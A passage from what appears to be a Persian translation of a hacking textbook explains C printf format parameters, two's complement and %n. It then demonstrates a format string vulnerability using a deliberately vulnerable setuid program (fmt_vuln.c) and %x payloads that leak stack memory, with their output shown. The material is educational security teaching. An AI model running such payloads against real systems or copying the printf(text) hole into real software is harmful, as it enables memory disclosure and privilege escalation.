‫ﺑﻪ ﻫﻨﮕﺎم اﺳﺘﻔﺎده از ‪ ،%u‬ﻣﺘﻐﯿﺮ ‪ A‬ﺑﻪ ﺻﻮرت ﯾﮏ ﻣﻘﺪار ﺑﺴﯿﺎر زﯾﺎد ﺑﻪ ﺧﺮوﺟﯽ رﻓﺘﻪ و ﭼـﺎپ ﻣـﯽ ﺷـﻮد‪ ،‬ﭼـﻮن ﻣﻘـﺎدﯾﺮ‬
‫ﻣﻨﻔﯽ ﮐﻪ ﺑﻪ ﺻﻮرت ﻣﺘﻤﻢ دو ذﺧﯿﺮه ﻣﯽ ﺷﻮﻧﺪ‪ ،‬در اﯾﻨﺠﺎ ﺑﻪ ﻋﻨﻮان ﯾﮏ ﻣﻘﺪار ﺑـﺪون ﻋﻼﻣـﺖ ﻧﻤـﺎﯾﺶ داده اﻧـﺪ‪ .‬ﻣـﺘﻤﻢ دو‬
‫)‪ (Two's Complement‬روش ذﺧﯿﺮه ﺷﺪن اﻋﺪاد ﻣﻨﻔﯽ روی ﮐﺎﻣﭙﯿﻮﺗﺮﻫﺎ اﺳﺖ‪ .‬ﻣﻔﻬﻮم ﻣﺘﻤﻢ دو‪ ،‬اراﺋـﻪ ﯾـﮏ ﻧﻤـﺎﯾﺶ‬
‫ﺑﺎﯾﻨﺮی )دودوﯾﯽ( از اﻋﺪد اﺳﺖ‪ ،‬ﺑﻄﻮرﯾﮑﻪ در ﺻﻮرت اﺿﺎﻓﻪ ﺷﺪن آن ﺑﻪ ﯾﮏ ﻋﺪد ﻣﺜﺒﺖ ﺑﺎ ﻫﻤﺎن ﺑﺰرﮔـﯽ )داﻣﻨـﻪ ﻃـﻮل(‬
‫ﻋﺪد ﺻﻔﺮ ﺗﻮﻟﯿﺪ ﺷﻮد‪.‬‬
‫اﯾﻦ ﮐﺎر ﺑﺎ ﻧﻮﺷﺘﻦ ﻋﺪد ﻣﺜﺒﺖ ﺑﻪ ﺻﻮرت دو دوﯾﯽ‪ ،‬ﻣﻌﮑﻮس ﮐﺮدن ﺗﻤﺎم ﺑﯿﺖ ﻫﺎ و در آﺧﺮ اﺿﺎﻓﻪ ﮐﺮدن ﻋﺪد ‪ 1‬اﻧﺠﺎم ﻣﯽ‬
‫ﺷﻮد‪ .‬ﻣﯽ ﺗﻮان اﯾﻦ ﻣﺴﺌﻠﻪ را ﺑﺎ ﯾﮏ ﻣﺎﺷﯿﻦ ﺣﺴﺎب دارای ﻣﺒﻨﺎی ‪ 2‬و ‪ ،16‬ﻣﺜﻞ ‪ ،pcalc‬ﺳﺮﯾﻌﺎ ﺑﺮرﺳﯽ ﮐﺮد‪.‬‬
‫‪$ pcalc 72‬‬
‫‪72‬‬ ‫‪0x48‬‬ ‫‪0y1001000‬‬
‫‪$ pcalc 0y0000000001001000‬‬
‫‪72‬‬ ‫‪0x48‬‬ ‫‪0y1001000‬‬
‫‪$ pcalc 0y1111111110110111‬‬
‫‪65463‬‬ ‫‪0xffb7‬‬ ‫‪0y1111111110110111‬‬
‫‪$ pcalc 0y1111111110110111 + 1‬‬
‫‪65464‬‬ ‫‪0xffb8‬‬ ‫‪0y1111111110111000‬‬
‫‪$‬‬
‫اﯾﻦ ﻣﺜﺎل از ‪ pcalc‬ﻧﺸﺎن ﻣﯽ دﻫﺪ ﮐﻪ دو ﺑﺎﯾﺖ آﺧﺮ از ﻧﻤﺎﯾﺶ ﻣﺘﻤﻢ دو ﺑﺮای ‪ -72‬ﺑﺎﯾﺪ ‪ 0xffb8‬ﺑﺎﺷﻨﺪ ﮐﻪ اﯾﻦ ﻣﺴﺌﻠﻪ در‬
‫ﺧﺮوﺟﯽ ﻫﮕﺰادﺳﯿﻤﺎل ‪ A‬درﺳﺖ ﺑﻪ ﻧﻈﺮ ﻣﯽ آﯾﺪ‪.‬‬
‫ﺳﻮﻣﯿﻦ ﺧﻂ ﮐﻪ ﺑﺎ ]‪ [field width on B‬ﺑﺮﭼﺴﺐ ﮔﺬاری ﺷﺪه اﺳﺖ‪ ،‬اﺳﺘﻔﺎده از ﮔﺰﯾﻨﻪ ﻃـﻮل ﻣﯿـﺪان )‪ (field width‬را‬
‫در ﯾﮏ ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ ﻧﺸﺎن ﻣﯽ دﻫﺪ‪ .‬ﻃﻮل ﻣﯿﺪان ﺗﻨﻬﺎ ﯾﮏ ﻋﺪد ﺻﺤﯿﺢ اﺳﺖ ﮐﻪ ﺣﺪاﻗﻞ ﻃﻮل ﻣﯿـﺪان ﺑـﺮای آن ﭘـﺎراﻣﺘﺮ‬
‫ﻓﺮﻣﺖ را ﺗﻌﯿﯿﻦ ﻣﯽ ﮐﻨﺪ‪ ،‬اﻣﺎ ﻧﺸﺎن دﻫﻨﺪه ﺣﺪاﮐﺜﺮ ﻃﻮل ﻣﯿﺪان ﻧﺨﻮاﻫﺪ ﺑﻮد‪ ،‬ﭼﻮن اﮔﺮ ﻣﻘـﺪار ﺧﺮوﺟـﯽ ﺑﺰرﮔﺘـﺮ از ﻃـﻮل‬
‫ﻣﯿﺪان ﺑﺎﺷﺪ‪ ،‬ﻻﺟﺮم از ﻃﻮل ﻣﯿﺪان ﺗﻌﯿﯿﻦ ﺷﺪه ﺗﺠﺎوز ﺧﻮاﻫﺪ ﮐﺮد‪ .‬ﻣﺜﻼ اﮔﺮ ﻃﻮل ﻣﯿﺪان ﺑﺮاﺑﺮ ‪ 3‬ﺑﺎﺷﺪ اﯾﻦ ﻣﺴﺌﻠﻪ رخ ﻣـﯽ‬
‫دﻫﺪ‪ ،‬ﭼﺮاﮐﻪ داده ﺧﺮوﺟﯽ ﻧﯿﺎز ﺑﻪ ‪ 5‬ﺑﺎﯾﺖ دارد‪ .‬ﻫﻤﭽﻨﯿﻦ در ﺻﻮرﺗﯽ ﮐﻪ از ‪ 10‬ﺑﺎﯾﺖ ﺑﻪ ﻋﻨﻮان ﻃﻮل ﻣﯿﺪان اﺳﺘﻔﺎده ﺷﻮد‪،‬‬

‫‪50‬‬
‫‪ 5‬ﺑﺎﯾﺖ ﻓﻀﺎی ﺧﺎﻟﯽ ﻗﺒﻞ از داده ﺧﺮوﺟﯽ ﻣﻮﺟﻮد ﺧﻮاﻫﺪ ﺑﻮد‪ .‬ﺑﻌﻼوه اﮔﺮ ﻣﻘﺪار ﻃﻮل ﻣﯿﺪان ﺑﺎ ﯾﮏ ﺻﻔﺮ ﺷﺮوع ﺷـﻮد‪ ،‬ﺑـﻪ‬
‫اﯾﻦ ﻣﻌﻨﯽ ﺧﻮاﻫﺪ ﺑﻮد ﮐﻪ ﻣﯿﺪان در ﻓﻀﺎﻫﺎی ﺧﺎﻟﯽ ﺑﺎﯾﺪ ﺑﺎ اﻋﺪاد ﺻﻔﺮ ﭘﺮ ﺷﻮد )‪ ،(padding‬ﻣﺜﻼ اﮔﺮ ﻣﻘﺪار ‪ 08‬ﺑﻪ ﻋﻨـﻮان‬
‫ﻃﻮل ﻣﯿﺪان اﺳﺘﻔﺎده ﺷﻮد‪ ،‬ﺧﺮوﺟﯽ ﺑﺮاﺑﺮ ﺑﺎ ‪ 00031337‬ﺧﻮاﻫﺪ ﺑﻮد‪.‬‬
‫ﺧﻂ ﭼﻬﺎرم ﮐﻪ ﺑﺎ ]‪ [string‬ﺑﺮﭼﺴﺐ ﮔﺬاری ﺷﺪه اﺳﺖ‪ ،‬ﮐـﺎرﺑﺮد ﭘـﺎراﻣﺘﺮ ﻓﺮﻣـﺖ ‪ %s‬را ﻧـﺸﺎن ﻣـﯽ دﻫـﺪ‪ .‬رﺷـﺘﻪ ﻣﺘﻐﯿـﺮ‬
‫)‪ (variable string‬در ﺣﻘﯿﻘﺖ ﯾﮏ اﺷﺎرﮔﺮ ﻣﺤﺘﻮای آدرس رﺷﺘﻪ اﺳﺖ‪ .‬اﯾﻦ رﺷﺘﻪ ﻣﺘﻐﯿﺮ ﺑﻪ ﺧﻮﺑﯽ در اﯾـﻦ ﻣـﻮرد ﮐـﺎر‬
‫ﻣﯽ ﮐﻨﺪ‪ ،‬ﭼﺮا ﮐﻪ ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ ‪ %s‬اﻧﺘﻈﺎر دارد ﮐﻪ داده ﻫﺎ ﺑﻪ ﺻﻮرت ارﺟﺎﻋﯽ )‪ (by-Reference‬ﺑﻪ آن ﻣﻨﺘﻘﻞ ﺷﻮﻧﺪ‪.‬‬
‫ﻫﻤﺎن ﻃﻮر ﮐﻪ ﻣﺜﺎل ﻫﺎ ﺑﻪ ﺧﻮﺑﯽ ﻧﺸﺎن ﻣﯽ دﻫﻨﺪ‪ ،‬ﺷﻤﺎ ﺑﺎﯾﺪ از ‪ %d‬ﺑﺮای ﻣﻘﺎدﯾﺮ ﻣﺒﻨﺎی ده )دﺳﯿﻤﺎل(‪ ،‬از ‪ %u‬ﺑﺮای ﻣﻘـﺎدﯾﺮ‬
‫ﺑﺪون ﻋﻼﻣﺖ و از ‪ %h‬ﺑﺮای ﻣﻘﺎدﯾﺮ ﻣﺒﻨﺎی ﺷﺎﻧﺰده )ﻫﮕﺰادﺳﯿﻤﺎل( اﺳﺘﻔﺎده ﮐﻨﯿﺪ‪ .‬ﺣﺪاﻗﻞ ﻃﻮل ﻣﯿﺪان را ﻣﯽ ﺗﻮان ﺑﺎ ﻗـﺮار‬
‫دادن ﯾﮏ ﻋﺪد ﺑﻌﺪ از ﻋﻼﻣﺖ ‪ %‬ﺗﻨﻈﯿﻢ ﮐﺮد‪ .‬اﮔﺮ ﻃﻮل ﻣﯿﺪان ﺑﺎ ‪) 0‬ﺻﻔﺮ( ﺷﺮوع ﺷﻮد‪ ،‬ﻓﻀﺎﻫﺎی ﺧﺎﻟﯽ ﺑﺎ ﺻﻔﺮ ﭘﺮ ﻣﯿﮕﺮدﻧﺪ‬
‫)‪ .(pad‬ﭘﺎراﻣﺘﺮ ‪ %s‬را ﻣﯽ ﺗﻮان ﺑﺮای ﭼﺎپ رﺷﺘﻪ ﻫﺎ ﺑﻪ ﮐﺎر ﺑﺮد ﮐﻪ ﺑﻪ اﯾﻦ ﻣﻨﻈﻮر آدرس رﺷﺘﻪ ﺑﺎﯾﺪ ﺑﻪ آن ﻣﻨﺘﻘﻞ ﺷﻮد‪ .‬ﺗﺎ‬
‫اﯾﻨﺠﺎ ﻫﻤﻪ ﭼﯿﺰ واﺿﺢ و ﺧﻮب ﭘﯿﺶ رﻓﺖ‪.‬‬
‫ﻗﺴﻤﺖ ﺑﻌﺪی در ﻣﺜﺎل اﺳﺘﻔﺎده از ﻋﻤﻠﮕﺮ آدرس ﯾﮕﺎﻧﯽ )‪ (unary address operator‬را ﻧﺸﺎن ﻣﯽ دﻫـﺪ‪ .‬در زﺑـﺎن ‪،C‬‬
‫اﮔﺮ ﮐﺎراﮐﺘﺮ آﻣﭙﺮﺳﻨﺪ )&( ﺑﻪ ﻫـﺮ ﻣﺘﻐﯿـﺮ اﺿـﺎﻓﻪ ﺷـﻮد‪ ،‬آدرس ﻣﺘﻐﯿـﺮ را ﺑـﺮ ﻣـﯽ ﮔﺮداﻧـﺪ‪ .‬ﻗـﺴﻤﺖ ﻣﺮﺑﻮﻃـﻪ را در ﮐـﺪ‬
‫‪ fmt_example.c‬ﻣﺸﺎﻫﺪه ﻣﯽ ﮐﻨﯿﺪ‪:‬‬
‫‪// Example of unary address operator and a %x format string‬‬
‫;)‪printf("count_one is located at: %08x\n", &count_one‬‬
‫;)‪printf("count_two is located at: %08x\n", &count_two‬‬
‫ﺗﮑﻪ ﺑﻌـﺪی در ﮐـﺪ ‪ fmt_example.c‬ﮐـﺎرﺑﺮد ﭘـﺎراﻣﺘﺮ ﻓﺮﻣـﺖ ‪ %n‬را ﻧـﺸﺎن ﻣـﯽ دﻫـﺪ‪ .‬ﭘـﺎراﻣﺘﺮ ﻓﺮﻣـﺖ ‪ %n‬ﺑـﺎ ﺗﻤـﺎم‬
‫ﭘﺎراﻣﺘﺮﻫﺎی ﻓﺮﻣﺖ دﯾﮕﺮ ﺗﻔﺎوت دارد‪ ،‬ﭼﺮا ﮐﻪ ﺑﺪون ﻧﻤﺎﯾﺶ ﭼﯿﺰی‪ ،‬داده ﻣﺤﺘﻮای ﺧـﻮد را در ﯾـﮏ ﻣﺘﻐﯿـﺮ ﻣـﯽ ﻧﻮﯾـﺴﺪ‪،‬‬
‫درﺳﺖ ﻋﮑﺲ ﺧﻮاﻧﺪن و ﻧﻤﺎﯾﺶ ﯾﮏ ﻣﻘﺪار )ﮐﻪ در دﯾﮕﺮ ﭘﺎراﻣﺘﺮﻫﺎ ﻣﺼﺪاق ﭘﯿﺪا ﻣـﯽ ﮐﻨـﺪ(‪ .‬ﻫﻨﮕـﺎم ﺑﺮﺧـﻮرد ﯾـﮏ ﺗـﺎﺑﻊ‬
‫ﻓﺮﻣﺖ ﺑﻪ ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ ‪ ،%n‬ﺗﻌﺪاد ﺑﺎﯾﺖ ﻫﺎﯾﯽ ﮐﻪ ﺗﺎ ﺑﻪ ﺣﺎل ﺗﻮﺳﻂ ﺗﺎﺑﻊ ﻧﻮﺷﺘﻪ ﺷﺪه اﻧـﺪ در آدرس آرﮔﻮﻣـﺎن ﻣﺮﺑﻮﻃـﻪ‬
‫ﻧﻮﺷﺘﻪ ﻣﯽ ﺷﻮﻧﺪ‪ .‬در ﮐﺪ ‪ ،fmt_example‬اﯾﻦ ﻋﻤﻞ در دو ﻧﻘﻄﻪ اﺗﻔﺎق ﻣﯽ اﻓﺘﺪ و از ﻋﻤﻠﮕﺮ آدرس ﯾﮕﺎﻧﯽ ﺟﻬـﺖ ﻧﻮﺷـﺘﻦ‬
‫اﯾﻦ داده ﻫﺎ ﺑﻪ ﺗﺮﺗﯿﺐ در ﻣﺘﻐﯿﺮﻫﺎی ‪ count_one‬و ‪ count_two‬اﺳﺘﻔﺎده ﺷﺪه اﺳﺖ‪ .‬ﺳﭙﺲ ﻣﻘـﺎدﯾﺮ ﺑـﻪ ﺧﺮوﺟـﯽ ﻣـﯽ‬
‫روﻧﺪ و ﻣﻌﻠﻮم ﻣﯽ ﺷﻮد ﮐﻪ ‪ 46‬ﺑﺎﯾﺖ ﻗﺒﻞ از اوﻟﯿﻦ و ‪ 113‬ﺑﺎﯾﺖ ﻗﺒﻞ از دوﻣﯿﻦ ﭘﺎراﻣﺘﺮ ‪ %n‬وﺟﻮد دارﻧﺪ‪.‬‬
‫در ﻧﻬﺎﯾﺖ ﻣﺜﺎل ﭘﺸﺘﻪ در ﺗﻮﺿﯿﺢ ﻧﻘﺶِ ﭘﺸﺘﻪ در راﺑﻄﻪ ﺑﺎ رﺷﺘﻪ ﻫﺎی ﻓﺮﻣﺖ ﻣﻔﯿﺪ واﻗﻊ ﻣﯽ ﺷﻮد‪:‬‬
‫;)‪printf("A is %d and is at %08x. B is %u and is at %08x.\n", A, &A, B, &B‬‬
‫ﻫﻨﮕﺎم ﻓﺮاﺧﻮاﻧﯽ ﺗﺎﺑﻊ )(‪ ،printf‬درﺳﺖ ﻣﺎﻧﻨﺪ ﻫﺮ ﺗﺎﺑﻊ دﯾﮕﺮ‪ ،‬آرﮔﻮﻣﺎن ﻫﺎی اﯾﻦ ﺗﺎﺑﻊ ﺑﻪ ﺻﻮرت ﻣﻌﮑﻮس در ﭘﺸﺘﻪ ﻗـﺮار‬
‫ﻣﯽ ﮔﯿﺮﻧﺪ )‪ .(push‬اﺑﺘﺪا آدرس ‪ ،B‬ﺳﭙﺲ ﻣﻘﺪار ‪ ،B‬آدرس ‪ ،A‬ﻣﻘﺪار ‪ A‬و ﻧﻬﺎﯾﺘﺎ آدرس رﺷﺘﻪ ﻓﺮﻣﺖ در ﭘﺸﺘﻪ ﻗﺮار ﻣﯽ‬
‫ﮔﯿﺮﻧﺪ‪ .‬در اﯾﻦ ﺣﺎﻟﺖ ﭘﺸﺘﻪ ﺷﺒﯿﻪ ﺑﻪ زﯾﺮ اﺳﺖ‪:‬‬

‫‪51‬‬
‫ﺗﺎﺑﻊ ﻓﺮﻣﺖ ﻓﻘﻂ ﯾﮏ ﮐﺎراﮐﺘﺮ در آن واﺣﺪ در رﺷﺘﻪ ﻓﺮﻣﺖ ﺟﻠﻮ ﻣﯽ رود‪ .‬اﮔﺮ آن ﮐﺎراﮐﺘﺮ ﺷﺮوع ﯾﮏ ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ )ﮐـﻪ‬
‫ﺑﺎ ﻋﻼﻣﺖ ‪ %‬ﺗﻌﯿﯿﻦ ﻣﯽ ﺷﻮد( ﻧﺒﺎﺷﺪ‪ ،‬آﻧﮕﺎه ﺑﻪ ﺧﺮوﺟﯽ ﺧﻮاﻫﺪ رﻓﺖ‪ .‬اﻣﺎ اﮔﺮ ﺑﻪ ﯾﮏ ﭘـﺎراﻣﺘﺮ ﻓﺮﻣـﺖ روﺑـﺮو ﺷـﻮد‪ ،‬آﻧﮕـﺎه‬
‫ﻋﻤﻠﯿﺎت و اﻗﺪاﻣﺎت ﻻزم ﺑﺎ آرﮔﻮﻣﺎن ﻣﺘﻨﺎﻇﺮ ﺑﺎ آن ﭘﺎراﻣﺘﺮ در ﭘﺸﺘﻪ اﻧﺠﺎم ﻣﯽ ﺷﻮﻧﺪ‪.‬‬
‫اﻣﺎ اﮔﺮ ﻓﻘﻂ ﺳﻪ آرﮔﻮﻣﺎن روی ﭘﺸﺘﻪ ﻗﺮار ﮔﯿﺮد و ﯾﮏ رﺷﺘﻪ ﻓﺮﻣﺖ از ﭼﻬﺎر ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ اﺳﺘﻔﺎده ﮐﻨﺪ ﭼﻪ اﺗﻔـﺎﻗﯽ ﻣـﯽ‬
‫اﻓﺘﺪ!؟ ﺧﻂ زﯾﺮ ﺑﺎ ﺗﺎﺑﻊ )(‪ printf‬را ﻃﻮری ﺗﻐﯿﯿﺮ ﻣﯽ دﻫﯿﻢ ﺗﺎ ﺷﺮاﯾﻂ ﻓﻮق ﺑﺮﻗﺮار ﺷﻮد‪:‬‬
‫;)‪printf("A is %d and is at %08x. B is %u and is at %08x.\n", A, &A, B‬‬
‫ﻣﯽ ﺗﻮان ﺑﺎ ﯾﮏ وﯾﺮاﺷﮕﺮ ﯾﺎ ﺑﺎ اﺳﺘﻔﺎده از ‪ SED‬اﯾﻦ ﺣﺎﻟﺖ را ﺑﺮرﺳﯽ ﮐﺮد‪.‬‬
‫‪$ sed -e 's/B, &B)/B)/' fmt_example.c > fmt_example2.c‬‬
‫‪$ gcc -o fmt_example fmt_example2.c‬‬
‫‪$ ./fmt_example‬‬
‫‪[A] Dec: -72, Hex: ffffffb8, Unsigned: 4294967224‬‬
‫‪[B] Dec: 31337, Hex: 7a69, Unsigned: 31337‬‬
‫' ‪[field width on B] 3: '31337', 10:‬‬ ‫'‪31337', '00031337‬‬
‫‪[string] sample Address bffff970‬‬
‫‪count_one is located at: bffff964‬‬
‫‪count_two is located at: bffff960‬‬
‫‪The number of bytes written up to this point X is being stored in count_one,‬‬
‫‪and‬‬
‫‪the number of bytes up to here X is being stored in count_two.‬‬
‫‪count_one: 46‬‬
‫‪count_two: 113‬‬
‫‪A is -72 and is at bffff96c. B is 31337 and is at 00000071.‬‬
‫‪$‬‬
‫ﻧﺘﯿﺠﻪ ﺑﺮرﺳﯽ ‪ 00000071‬ﺑﺪﺳﺖ آﻣﺪ‪ .‬ﺳﻮال اﯾﻦ اﺳﺖ ﮐﻪ ﭼﺮا و ﭼﻄﻮر اﯾﻦ ﻣﻘﺪار ﺑﺪﺳﺖ آﻣﺪ؟ ﺟﻮاب اﯾـﻦ اﺳـﺖ ﮐـﻪ‬
‫ﭼﻮن ﻣﻘﺪاری ﺑﺮ روی ﭘﺸﺘﻪ ﻗﺮار ﻧﮕﺮﻓﺘﻪ ﺑﻮد )‪ ،(push‬ﻟﺬا ﺗﺎﺑﻊ ﻓﺮﻣﺖ داده را از ﺟﺎﯾﯽ ﮐﻪ آرﮔﻮﻣﺎن ﭼﻬـﺎرم ﻣـﯽ ﺑﺎﯾـﺴﺘﯽ‬
‫وﺟﻮد ﻣﯽ داﺷﺖ اﺳﺘﺨﺮاج و ﺑﻬﺮه ﺑﺮداری ﮐﺮده اﺳﺖ )اﯾﻨﮑﺎر ﺑﺎ اﺿﺎﻓﻪ ﮐﺮدن ﻃﻮل آرﮔﻮﻣﺎن ﻣﻮرد ﻧﻈﺮ ﺑﻪ اﺷﺎرﮔﺮ ﻗـﺎب‬
‫ﻓﻌﻠﯽ اﻧﺠﺎم ﻣﯽ ﮔﺮدد(‪ .‬ﯾﻌﻨﯽ آدرس ‪ ،0x00000071‬در ﺣﻘﯿﻘﺖ آدرس اوﻟﯿﻦ ﻣﻘﺪار ﻣﻮﺟﻮد در ﭘﺎﺋﯿﻦ ﻗﺎب ﭘﺸﺘﻪ ﺑـﺮای‬
‫ﺗﺎﺑﻊ ﻓﺮﻣﺖ اﺳﺖ‪.‬‬
‫اﯾﻦ ﻧﮑﺘﻪ ﻣﻬﻢ و ﺟﺎﻟﺐ را ﮐﺎﻣﻼ ﺑﻪ ﺧﺎﻃﺮ ﺑﺴﭙﺎرﯾﺪ‪ .‬ﺟﺎﻟﺐ ﻣﯽ ﺷﺪ اﮔﺮ ﻣﯽ ﺗﻮاﻧﺴﺘﯿﻢ راﻫﯽ ﭘﯿـﺪا ﮐﻨـﯿﻢ ﺗـﺎ ﺗﻌـﺪاد آرﮔﻮﻣـﺎن‬
‫ﻫﺎی ﻣﻨﺘﻘﻞ ﺷﺪه ﺑﻪ ﯾﮏ ﺗﺎﺑﻊ ﻓﺮﻣﺖ ﯾﺎ ﺗﻌﺪاد آرﮔﻮﻣﺎن ﻫﺎﯾﯽ ﮐﻪ ﯾﮏ ﺗﺎﺑﻊ ﻓﺮﻣﺖ اﻧﺘﻈﺎر دارد را ﮐﻨﺘﺮل ﮐﻨﯿﻢ‪ .‬ﺧﻮﺷـﺒﺨﺘﺎﻧﻪ‬

‫‪52‬‬
‫ﯾﮏ ﺧﻄﺎی ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﻣﻌﻤﻮل وﺟﻮد دارد ﮐﻪ اﺟﺮای دوﻣﯿﻦ ﻋﻤﻞ )ﯾﻌﻨﯽ ﮐﻨﺘﺮل ﺗﻌﺪاد آرﮔﻮﻣﺎن ﻫﺎﯾﯽ ﮐـﻪ ﯾـﮏ ﺗـﺎﺑﻊ‬
‫ﻓﺮﻣﺖ اﻧﺘﻈﺎر آﻧﺮا دارد( را اﻣﮑﺎن ﭘﺬﯾﺮ ﻣﯽ ﺳﺎزد‪.‬‬

‫‪ .2,9,2‬آﺳﯿﺐ ﭘﺬﯾﺮی رﺷﺘﻪ ﻓﺮﻣﺖ‬

‫ﮔﺎﻫﯽ اوﻗﺎت ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﺎن رﺷﺘﻪ ﻫـﺎ را ﺑـﻪ ﺟـﺎی ﻗﺎﻟـﺐ )‪ ،printf("%s", string‬ﺑـﺎ ﻗﺎﻟـﺐ )‪ printf(string‬ﺑـﻪ ﭼـﺎپ‬
‫ﻣﯿﺮﺳﺎﻧﻨﺪ‪ .‬از ﻟﺤﺎظ ﮐﺎرﮐﺮد‪ ،‬ﻗﺎﻟﺐ دوم ﺑﻪ ﺧﻮﺑﯽ ﮐﺎر ﻣﯽ ﮐﻨﻨﺪ‪ ،‬ﺑﻄﻮرﯾﮑﻪ آدرس رﺷﺘﻪ )ﺑﻪ ﺟـﺎی آدرس رﺷـﺘﻪ ﻓﺮﻣـﺖ در‬
‫ﻗﺎﻟﺐ اول( ﺑﻪ ﺗﺎﺑﻊ ﻓﺮﻣﺖ ﻣﻨﺘﻘﻞ ﻣﯽ ﺷﻮد‪ ،‬ﺳﭙﺲ ﺗﺎﺑﻊ در رﺷﺘﻪ ﺑﻪ ﺟﻠﻮ ﺣﺮﮐﺖ ﮐﺮده و ﻫﺮ ﮐﺎراﮐﺘﺮ را ﭼﺎپ ﻣﯽ ﮐﻨـﺪ‪ .‬ﻫـﺮ‬
‫دو روش در ﻣﺜﺎل زﯾﺮ ﻧﻤﺎﯾﺶ ﯾﺎﻓﺘﻪ اﻧﺪ‪.‬‬
‫‪fmt_vuln.c code‬‬
‫>‪#include <stdlib.h‬‬

‫)][‪int main(int argc, char *argv‬‬


‫{‬
‫;]‪char text[1024‬‬
‫;‪static int test_val = -72‬‬

‫)‪if(argc < 2‬‬


‫{‬
‫;)]‪printf("Usage: %s <text to print>\n", argv[0‬‬
‫;)‪exit(0‬‬
‫}‬
‫;)]‪strcpy(text, argv[1‬‬

‫;)"‪printf("The right way:\n‬‬


‫‪// The right way to print user-controlled input:‬‬
‫;)‪printf("%s", text‬‬
‫‪// ---------------------------------------------‬‬

‫;)"‪printf("\nThe wrong way:\n‬‬


‫‪// The wrong way to print user-controlled input:‬‬
‫;)‪printf(text‬‬
‫‪// ---------------------------------------------‬‬
‫;)"‪printf("\n‬‬
‫‪// Debug output‬‬
‫‪printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val,‬‬
‫;)‪test_val‬‬

‫;)‪exit(0‬‬
‫}‬
‫ﺧﺮوﺟﯽ زﯾﺮ ﻧﺤﻮه ﮐﺎﻣﭙﺎﯾﻞ و اﺟﺮای ﺑﺮﻧﺎﻣﻪ ‪ fmt_vuln‬را ﻧﺸﺎن ﻣﯽ دﻫﺪ‪.‬‬
‫‪$ gcc -o fmt_vuln fmt_vuln.c‬‬
‫‪$ sudo chown root.root fmt_vuln‬‬
‫‪$ sudo chmod u+s fmt_vuln‬‬
‫‪$ ./fmt_vuln testing‬‬
‫‪The right way:‬‬
‫‪testing‬‬
‫‪The wrong way:‬‬
‫‪testing‬‬
‫‪[*] test_val @ 0x08049570 = -72 0xffffffb8‬‬
‫‪$‬‬
‫ﺑﻪ ﻧﻈﺮ ﻣﯽ رﺳﺪ ﮐﻪ ﻫﺮ دو روش ﺑﺎ رﺷﺘﻪ ‪ testing‬ﺑﻪ ﺧﻮﺑﯽ ﮐﺎر ﮐﺮدﻧﺪ‪ .‬اﻣﺎ اﮔﺮ رﺷﺘﻪ ﺣﺎوی ﯾﮏ ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ ﺑﺎﺷﺪ ﭼﻪ‬
‫اﺗﻔﺎﻗﯽ ﻣﯽ اﻓﺘﺪ؟ ﺗﺎﺑﻊ ﻓﺮﻣﺖ ﺑﺎﯾﺴﺘﯽ ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ را ارزﯾﺎﺑﯽ ﮐﺮده و ﺑﺎ اﺿـﺎﻓﻪ ﮐـﺮدن ﺑـﻪ اﺷـﺎرﮔﺮ ﻗـﺎب ﺑـﻪ آرﮔﻮﻣـﺎن‬
‫ﻣﺘﻨﺎﻇﺮ دﺳﺖ ﯾﺎﺑﺪ‪ .‬اﻣﺎ ﻫﻤﺎن ﻃﻮر ﮐﻪ ﻗﺒﻼ دﯾﺪﯾﻢ اﮔﺮ آرﮔﻮﻣﺎن ﻣﺘﻨﺎﻇﺮ ﺗﺎﺑﻊ در آن ﻣﮑﺎن وﺟﻮد ﻧﺪاﺷﺘﻪ ﺑﺎﺷﺪ‪ ،‬اﺿﺎﻓﻪ ﺷﺪن‬
‫ﺑﻪ اﺷﺎرﮔﺮ ﻗﺎب ﺳﺒﺐ ارﺟﺎع ﺑﻪ ﯾﮏ ﻗﻄﻌﻪ از ﺣﺎﻓﻈﻪ در ﯾﮏ ﻗﺎب ﭘﺸﺘﻪ ﭘﯿﺸﯿﻦ ﻣﯽ ﮔﺮدد‪.‬‬
‫‪$ ./fmt_vuln testing%x‬‬
‫‪53‬‬
‫‪The right way:‬‬
‫‪testing%x‬‬
‫‪The wrong way:‬‬
‫‪testingbffff5a0‬‬
‫‪[*] test_val @ 0x08049570 = -72 0xffffffb8‬‬
‫‪$‬‬
‫ﻫﻨﮕﺎﻣﯽ ﮐﻪ ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ ‪ %x‬اﺳﺘﻔﺎده ﺷﺪ‪ ،‬ﯾﮏ ﮐﻠﻤﻪ ‪ 4‬ﺑﺎﯾﺘﯽ در ﭘﺸﺘﻪ ﺑﻪ ﺣﺎﻟﺖ ﻫﮕﺰادﺳﯿﻤﺎل ﭼﺎپ ﺷﺪ‪ .‬اﯾﻦ ﻓﺮآﯾﻨﺪ را‬
‫ﻣﯽ ﺗﻮان ﻣﮑﺮرا اﻣﺘﺤﺎن ﮐﺮد ﺗﺎ ﺣﺎﻓﻈﻪ ﭘﺸﺘﻪ را ﺑﺮرﺳﯽ ﻧﻤﻮد‪.‬‬
‫'';‪$ ./fmt_vuln 'perl -e 'print "%08x."x40‬‬
‫‪The right way:‬‬
‫‪%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.‬‬
‫‪%08x.%08‬‬
‫‪x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08‬‬
‫‪x.%08x.%‬‬
‫‪08x.%08x.%08x.%08x.%08x.%08x.%08x.‬‬
‫‪The wrong way:‬‬
‫‪bffff4e0.000003e8.000003e8.78383025.3830252e.30252e78.252e7838.2e783830.783‬‬
‫‪83025.38‬‬
‫‪30252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783‬‬
‫‪830.7838‬‬
‫‪3025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e783‬‬
‫‪8.2e7838‬‬
